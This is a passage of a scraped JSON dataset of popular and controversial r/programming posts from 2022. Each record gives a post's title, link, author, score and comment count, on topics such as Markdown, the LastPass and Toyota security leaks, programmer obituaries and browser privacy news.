  "permalink": "https://www.reddit.com/r/programming/comments/ytixz3/why_is_markdown_popular/",
  "title": "Why is Markdown popular?",
  "body": null,
  "author": "feross",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 98,
  "createdAt": "2022-11-12T21:30:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.russellbeattie.com/notes/posts/why-is-markdown-popular.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ygnhs0",
  "url": "https://www.theregister.com/2022/10/29/kathleen_booth_obit/",
  "permalink": "https://www.reddit.com/r/programming/comments/ygnhs0/rip_kathleen_booth_the_inventor_of_assembly/",
  "title": "RIP: Kathleen Booth, the inventor of assembly language",
  "body": null,
  "author": "videoj",
  "subreddit": "programming",
  "score": 5456,
  "upvoteRatio": 0.98,
  "numComments": 291,
  "createdAt": "2022-10-29T16:07:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2022/10/29/kathleen_booth_obit/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ybmnzb",
  "url": "https://time.is/unix",
  "permalink": "https://www.reddit.com/r/programming/comments/ybmnzb/tomorrow_is_unix_timestamp_1666666666_peak/",
  "title": "TOMORROW is UNIX timestamp 1,666,666,666, peak halloween",
  "body": null,
  "author": "stefaanthedude",
  "subreddit": "programming",
  "score": 4736,
  "upvoteRatio": 0.96,
  "numComments": 168,
  "createdAt": "2022-10-23T16:52:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://time.is/unix",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_yaalob",
  "url": "https://thehackernews.com/2022/10/microsoft-confirms-server.html",
  "permalink": "https://www.reddit.com/r/programming/comments/yaalob/microsoft_confirms_server_misconfiguration_led_to/",
  "title": "Microsoft Confirms Server Misconfiguration Led to 65,000+ Companies' Data Leak",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 3050,
  "upvoteRatio": 0.97,
  "numComments": 207,
  "createdAt": "2022-10-22T01:32:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thehackernews.com/2022/10/microsoft-confirms-server.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_y1ouzl",
  "url": "https://blog.gitguardian.com/toyota-accidently-exposed-a-secret-key-publicly-on-github-for-five-years/",
  "permalink": "https://www.reddit.com/r/programming/comments/y1ouzl/toyota_accidently_exposed_a_secret_key_publicly/",
  "title": "Toyota Accidently Exposed A Secret Key Publicly On GitHub For Five Years",
  "body": null,
  "author": "mcdwayne1",
  "subreddit": "programming",
  "score": 3639,
  "upvoteRatio": 0.97,
  "numComments": 288,
  "createdAt": "2022-10-12T00:16:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gitguardian.com/toyota-accidently-exposed-a-secret-key-publicly-on-github-for-five-years/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_xsi3kh",
  "url": "https://www.atlassian.com/blog/announcements/atlassian-stands-with-ukraine",
  "permalink": "https://www.reddit.com/r/programming/comments/xsi3kh/atlassian_to_cease_all_operations_in_russia/",
  "title": "Atlassian to cease all operations in Russia",
  "body": null,
  "author": "ByYourBootstraps",
  "subreddit": "programming",
  "score": 3358,
  "upvoteRatio": 0.95,
  "numComments": 470,
  "createdAt": "2022-10-01T01:11:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.atlassian.com/blog/announcements/atlassian-stands-with-ukraine",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_xiu4wg",
  "url": "https://github.blog/2022-02-14-include-diagrams-markdown-files-mermaid/",
  "permalink": "https://www.reddit.com/r/programming/comments/xiu4wg/include_diagrams_in_your_markdown_files_with/",
  "title": "Include diagrams in your Markdown files with Mermaid | The GitHub Blog",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 16,
  "createdAt": "2022-09-20T00:46:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/2022-02-14-include-diagrams-markdown-files-mermaid/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_xecijm",
  "url": "https://www.youtube.com/watch?v=-BP7DhHTU-I",
  "permalink": "https://www.reddit.com/r/programming/comments/xecijm/someone_made_minecraft_in_minecraft_with_a/",
  "title": "Someone made Minecraft in Minecraft with a redstone computer (with CPU, GPU and a low-res screen)",
  "body": null,
  "author": "StyMaar",
  "subreddit": "programming",
  "score": 3723,
  "upvoteRatio": 0.97,
  "numComments": 188,
  "createdAt": "2022-09-14T20:34:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=-BP7DhHTU-I",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_x7a0fr",
  "url": "https://github.com/IdreesInc/Minecraft-Mono",
  "permalink": "https://www.reddit.com/r/programming/comments/x7a0fr/i_created_a_monospaced_version_of_the_minecraft/",
  "title": "I created a monospaced version of the Minecraft font for programmers, complete with unnecessary ligatures",
  "body": null,
  "author": "IdreesInc",
  "subreddit": "programming",
  "score": 3914,
  "upvoteRatio": 0.96,
  "numComments": 190,
  "createdAt": "2022-09-06T12:59:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/IdreesInc/Minecraft-Mono",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_x4tc64",
  "url": "https://community.letsencrypt.org/t/peter-eckersley-may-his-memory-be-a-blessing/183854",
  "permalink": "https://www.reddit.com/r/programming/comments/x4tc64/peter_eckersley_has_died/",
  "title": "Peter Eckersley has died",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 3155,
  "upvoteRatio": 0.97,
  "numComments": 139,
  "createdAt": "2022-09-03T12:32:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://community.letsencrypt.org/t/peter-eckersley-may-his-memory-be-a-blessing/183854",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wxx674",
  "url": "https://www.bleepingcomputer.com/news/security/lastpass-developer-systems-hacked-to-steal-source-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/wxx674/password_management_firm_lastpass_was_hacked_two/",
  "title": "Password management firm LastPass was hacked two weeks ago. LastPass developer systems hacked to steal source code",
  "body": null,
  "author": "Glad_Living3908",
  "subreddit": "programming",
  "score": 3244,
  "upvoteRatio": 0.98,
  "numComments": 761,
  "createdAt": "2022-08-26T02:39:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bleepingcomputer.com/news/security/lastpass-developer-systems-hacked-to-steal-source-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wvwukw",
  "url": "https://arstechnica.com/gadgets/2022/08/unix-legend-who-owes-us-nothing-keeps-fixing-foundational-awk-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/wvwukw/unix_legend_brian_kernighan_who_owes_us_nothing/",
  "title": "Unix legend Brian Kernighan, who owes us nothing, keeps fixing foundational AWK code | Co-creator of core Unix utility \"awk\" (he's the \"k\" in \"awk\"), now 80, just needs to run a few more tests on adding Unicode support",
  "body": null,
  "author": "mepper",
  "subreddit": "programming",
  "score": 5393,
  "upvoteRatio": 0.97,
  "numComments": 412,
  "createdAt": "2022-08-23T18:55:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/gadgets/2022/08/unix-legend-who-owes-us-nothing-keeps-fixing-foundational-awk-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wr0tms",
  "url": "https://thehosk.medium.com/agile-projects-have-become-waterfall-projects-with-sprints-536141801856",
  "permalink": "https://www.reddit.com/r/programming/comments/wr0tms/agile_projects_have_become_waterfall_projects/",
  "title": "Agile Projects Have Become Waterfall Projects With Sprints",
  "body": null,
  "author": "DynamicsHosk",
  "subreddit": "programming",
  "score": 3383,
  "upvoteRatio": 0.96,
  "numComments": 613,
  "createdAt": "2022-08-17T21:33:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thehosk.medium.com/agile-projects-have-become-waterfall-projects-with-sprints-536141801856",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_woawpl",
  "url": "https://medium.com/@overfittedcat/who-wrote-this-sh-tty-code-709b24e3ddc8",
  "permalink": "https://www.reddit.com/r/programming/comments/woawpl/who_wrote_this_st_asked_the_cto_flustered_he/",
  "title": "“Who wrote this s**t, asked the CTO. Flustered, he checked git blame, and the answer was him”",
  "body": null,
  "author": "lauluz",
  "subreddit": "programming",
  "score": 3633,
  "upvoteRatio": 0.93,
  "numComments": 383,
  "createdAt": "2022-08-14T16:51:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@overfittedcat/who-wrote-this-sh-tty-code-709b24e3ddc8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wlre5a",
  "url": "https://calpaterson.com/blockchain.html",
  "permalink": "https://www.reddit.com/r/programming/comments/wlre5a/there_arent_that_many_uses_for_blockchains/",
  "title": "There aren't that many uses for blockchains",
  "body": null,
  "author": "calp",
  "subreddit": "programming",
  "score": 6500,
  "upvoteRatio": 0.91,
  "numComments": 2197,
  "createdAt": "2022-08-11T13:27:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://calpaterson.com/blockchain.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_whnwxq",
  "url": "https://stackoverflow.com/questions/11828270/how-do-i-exit-vim",
  "permalink": "https://www.reddit.com/r/programming/comments/whnwxq/vim_infamous_for_its_steep_learning_curve_often/",
  "title": "Vim, infamous for its steep learning curve, often leaves new users confused where to start. Today is the 10th anniversary of the infamous \"How do I exit Vim\" question, which made news when it first hit 1 million views.",
  "body": null,
  "author": "Skenvy",
  "subreddit": "programming",
  "score": 5288,
  "upvoteRatio": 0.96,
  "numComments": 621,
  "createdAt": "2022-08-06T13:06:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.com/questions/11828270/how-do-i-exit-vim",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wg8pam",
  "url": "https://en.wikipedia.org/wiki/Terry_A._Davis",
  "permalink": "https://www.reddit.com/r/programming/comments/wg8pam/terry_davis_an_extremely_talented_programmer_who/",
  "title": "Terry Davis, an extremely talented programmer who was unfortunately diagnosed with schizophrenia, made an entire operating system in a language he made by himself, then compiled everything to machine code with a compiler he made himself.",
  "body": null,
  "author": "BitPax",
  "subreddit": "programming",
  "score": 7565,
  "upvoteRatio": 0.94,
  "numComments": 939,
  "createdAt": "2022-08-04T18:37:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://en.wikipedia.org/wiki/Terry_A._Davis",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_w3uope",
  "url": "https://devinterrupted.substack.com/p/the-dangers-of-shipping-at-all-costs",
  "permalink": "https://www.reddit.com/r/programming/comments/w3uope/nothing_is_more_damaging_in_programming_right_now/",
  "title": "\"Nothing is more damaging in programming right now than the 'shipping at all costs' mantra. Not only does it create burnout factories, but it loads teams with tech debt that only the people who leave from burnout would be able to tackle.\" Amen to this.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4105,
  "upvoteRatio": 0.97,
  "numComments": 439,
  "createdAt": "2022-07-20T19:09:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devinterrupted.substack.com/p/the-dangers-of-shipping-at-all-costs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_w22dd6",
  "url": "https://www.ghacks.net/2022/07/17/facebook-has-started-to-encrypt-links-to-counter-privacy-improving-url-stripping/",
  "permalink": "https://www.reddit.com/r/programming/comments/w22dd6/facebook_starts_encrypting_links_to_prevent/",
  "title": "Facebook starts encrypting links to prevent browsers from stripping trackers",
  "body": null,
  "author": "Davipb",
  "subreddit": "programming",
  "score": 4591,
  "upvoteRatio": 0.97,
  "numComments": 447,
  "createdAt": "2022-07-18T15:37:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ghacks.net/2022/07/17/facebook-has-started-to-encrypt-links-to-counter-privacy-improving-url-stripping/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_w1eh2o",
  "url": "https://www.eff.org/deeplinks/2021/12/chrome-users-beware-manifest-v3-deceitful-and-threatening",
  "permalink": "https://www.reddit.com/r/programming/comments/w1eh2o/chrome_users_beware_manifest_v3_is_deceitful_and/",
  "title": "Chrome Users Beware: Manifest V3 is Deceitful and Threatening",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 3207,
  "upvoteRatio": 0.95,
  "numComments": 652,
  "createdAt": "2022-07-17T18:53:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.eff.org/deeplinks/2021/12/chrome-users-beware-manifest-v3-deceitful-and-threatening",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_vwgbp6",
  "url": "https://vadimkravcenko.com/shorts/atomic-habits-in-it/",
  "permalink": "https://www.reddit.com/r/programming/comments/vwgbp6/implementing_atomic_habits_in_it/",
  "title": "Implementing Atomic Habits in IT",
  "body": null,
  "author": "bndrz",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.54,
  "numComments": 14,
  "createdAt": "2022-07-11T11:40:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vadimkravcenko.com/shorts/atomic-habits-in-it/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_vnfl62",
  "url": "https://www.devjobsscanner.com/blog/top-8-most-demanded-languages-in-2022/",
  "permalink": "https://www.reddit.com/r/programming/comments/vnfl62/i_scraped_7m_programming_job_offers_for_8_months/",
  "title": "I scraped 7M programming job offers for 8 months and here are the most demanded programming languages",
  "body": null,
  "author": "__dacia__",
  "subreddit": "programming",
  "score": 4091,
  "upvoteRatio": 0.94,
  "numComments": 886,
  "createdAt": "2022-06-29T13:15:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.devjobsscanner.com/blog/top-8-most-demanded-languages-in-2022/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_vla3ds",
  "url": "https://www.reddit.com/r/PixelArt/comments/vl2eu6/sorting_algorithms_visualized_using_blender/",
  "permalink": "https://www.reddit.com/r/programming/comments/vla3ds/sorting_algorithms_visualized_with_blender/",
  "title": "Sorting algorithms visualized with Blender",
  "body": null,
  "author": "kiedtl",
  "subreddit": "programming",
  "score": 3023,
  "upvoteRatio": 0.94,
  "numComments": 88,
  "createdAt": "2022-06-26T17:42:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/PixelArt/comments/vl2eu6/sorting_algorithms_visualized_using_blender/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_vki4ov",
  "url": "https://blog.simpleanalytics.com/italy-declares-google-analytics-illegal",
  "permalink": "https://www.reddit.com/r/programming/comments/vki4ov/italy_declares_google_analytics_illegal/",
  "title": "Italy declares Google Analytics illegal",
  "body": null,
  "author": "DonutAccomplished422",
  "subreddit": "programming",
  "score": 7296,
  "upvoteRatio": 0.97,
  "numComments": 469,
  "createdAt": "2022-06-25T16:01:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.simpleanalytics.com/italy-declares-google-analytics-illegal",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_vf8hr2",
  "url": "https://thehosk.medium.com/the-blind-spots-of-citizen-developer-and-low-code-development-that-will-create-technical-debt-on-an-45bb6120e7d6",
  "permalink": "https://www.reddit.com/r/programming/comments/vf8hr2/the_blind_spots_of_citizen_developer_and_lowcode/",
  "title": "The Blind Spots of Citizen Developer and Low-Code Development That Will Create Technical Debt",
  "body": null,
  "author": "DynamicsHosk",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.53,
  "numComments": 42,
  "createdAt": "2022-06-18T15:24:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thehosk.medium.com/the-blind-spots-of-citizen-developer-and-low-code-development-that-will-create-technical-debt-on-an-45bb6120e7d6",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_vc7so7",
  "url": "https://blog.mozilla.org/en/products/firefox/firefox-rolls-out-total-cookie-protection-by-default-to-all-users-worldwide/",
  "permalink": "https://www.reddit.com/r/programming/comments/vc7so7/firefox_rolls_out_total_cookie_protection_by/",
  "title": "Firefox rolls out Total Cookie Protection by default to all users",
  "body": null,
  "author": "feross",
  "subreddit": "programming",
  "score": 3400,
  "upvoteRatio": 0.98,
  "numComments": 229,
  "createdAt": "2022-06-14T16:46:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.mozilla.org/en/products/firefox/firefox-rolls-out-total-cookie-protection-by-default-to-all-users-worldwide/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_val2x3",
  "url": "https://twitter.com/tomgara/status/1535716256585859073?s=20&t=XQUrNh1QxFKwxiaxM7ox2A",
  "permalink": "https://www.reddit.com/r/programming/comments/val2x3/a_discussion_between_a_google_engineer_and_their/",
  "title": "A discussion between a Google engineer and their conversational AI model helped cause the engineer to believe the AI is becoming sentient, kick up an internal shitstorm, and get suspended from his job.",
  "body": null,
  "author": "Kusthi",
  "subreddit": "programming",
  "score": 5735,
  "upvoteRatio": 0.9,
  "numComments": 1127,
  "createdAt": "2022-06-12T12:36:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/tomgara/status/1535716256585859073?s=20&t=XQUrNh1QxFKwxiaxM7ox2A",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_v7s7b8",
  "url": "https://github.blog/2022-06-08-sunsetting-atom/",
  "permalink": "https://www.reddit.com/r/programming/comments/v7s7b8/github_is_sunsetting_atom/",
  "title": "GitHub is sunsetting Atom",
  "body": null,
  "author": "chillysurfer",
  "subreddit": "programming",
  "score": 3085,
  "upvoteRatio": 0.96,
  "numComments": 902,
  "createdAt": "2022-06-08T15:25:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/2022-06-08-sunsetting-atom/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_v4pq3c",
  "url": "https://goldenlion5648.itch.io/regex-adventure",
  "permalink": "https://www.reddit.com/r/programming/comments/v4pq3c/people_seem_to_fear_regex_so_i_made_a_puzzle_game/",
  "title": "People seem to fear regex, so I made a puzzle game to help teach it through fighting goblins",
  "body": null,
  "author": "goldenlion5648",
  "subreddit": "programming",
  "score": 3636,
  "upvoteRatio": 0.95,
  "numComments": 349,
  "createdAt": "2022-06-04T14:13:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://goldenlion5648.itch.io/regex-adventure",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_v45rb6",
  "url": "https://puter.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/v45rb6/i_spent_a_year_building_a_desktop_environment/",
  "title": "I spent a year building a desktop environment that runs in the browser",
  "body": null,
  "author": "mitousa",
  "subreddit": "programming",
  "score": 5108,
  "upvoteRatio": 0.97,
  "numComments": 424,
  "createdAt": "2022-06-03T18:31:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://puter.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_uwyf5s",
  "url": "https://www.youtube.com/watch?v=rkZzg7Vowao",
  "permalink": "https://www.reddit.com/r/programming/comments/uwyf5s/if_people_are_trying_to_learn_programming_by/",
  "title": "\"If people are trying to learn programming by being taught to code, well, they're being taught writing by being taught how to type and that doesn't make much sense\" - Leslie Lamport",
  "body": null,
  "author": "vfclists",
  "subreddit": "programming",
  "score": 2982,
  "upvoteRatio": 0.9,
  "numComments": 504,
  "createdAt": "2022-05-24T19:08:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=rkZzg7Vowao",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_us0bdq",
  "url": "https://www.theregister.com/2022/04/26/apple_ios_browser/",
  "permalink": "https://www.reddit.com/r/programming/comments/us0bdq/apple_might_be_forced_to_allow_different_browser/",
  "title": "Apple might be forced to allow different browser engines by proposed EU law",
  "body": null,
  "author": "lackbotone",
  "subreddit": "programming",
  "score": 4221,
  "upvoteRatio": 0.97,
  "numComments": 633,
  "createdAt": "2022-05-18T00:19:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2022/04/26/apple_ios_browser/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ukptue",
  "url": "https://www.macrumors.com/2022/05/07/apple-director-of-machine-learning-resigns/",
  "permalink": "https://www.reddit.com/r/programming/comments/ukptue/ian_goodfellow_apples_director_of_machine/",
  "title": "Ian Goodfellow, Apple's Director of Machine Learning, Inventor of GAN, Resigns Due to Apple's Return to Office Work",
  "body": null,
  "author": "Mcnst",
  "subreddit": "programming",
  "score": 6380,
  "upvoteRatio": 0.96,
  "numComments": 605,
  "createdAt": "2022-05-08T00:07:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.macrumors.com/2022/05/07/apple-director-of-machine-learning-resigns/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ujk4e7",
  "url": "https://www.techradar.com/news/google-cloud-apparently-has-a-security-issue-even-firewalls-cant-stop",
  "permalink": "https://www.reddit.com/r/programming/comments/ujk4e7/google_cloud_apparently_has_a_security_issue_even/",
  "title": "Google Cloud apparently has a security issue even firewalls can't stop",
  "body": null,
  "author": "IsDaouda_Games",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 35,
  "createdAt": "2022-05-06T10:09:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.techradar.com/news/google-cloud-apparently-has-a-security-issue-even-firewalls-cant-stop",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ufsktx",
  "url": "https://michaelsalim.co.uk/blog/rust-from-0-to-80-for-js-dev/",
  "permalink": "https://www.reddit.com/r/programming/comments/ufsktx/rust_from_0_to_80_for_javascript_developers/",
  "title": "Rust from 0 to 80% for JavaScript Developers",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 12,
  "createdAt": "2022-05-01T05:05:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://michaelsalim.co.uk/blog/rust-from-0-to-80-for-js-dev/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_u81ddn",
  "url": "https://en.wikipedia.org/wiki/C_(programming_language)#History",
  "permalink": "https://www.reddit.com/r/programming/comments/u81ddn/c_is_50_years_old/",
  "title": "C is 50 years old",
  "body": null,
  "author": "obrienmustsuffer",
  "subreddit": "programming",
  "score": 2950,
  "upvoteRatio": 0.98,
  "numComments": 435,
  "createdAt": "2022-04-20T17:10:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://en.wikipedia.org/wiki/C_(programming_language)#History",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_u6puq7",
  "url": "https://techcrunch.com/2022/04/18/web-scraping-legal-court/",
  "permalink": "https://www.reddit.com/r/programming/comments/u6puq7/web_scraping_is_legal_us_appeals_court_reaffirms/",
  "title": "Web scraping is legal, US appeals court reaffirms",
  "body": null,
  "author": "neutronbob",
  "subreddit": "programming",
  "score": 3415,
  "upvoteRatio": 0.98,
  "numComments": 308,
  "createdAt": "2022-04-18T22:50:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2022/04/18/web-scraping-legal-court/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
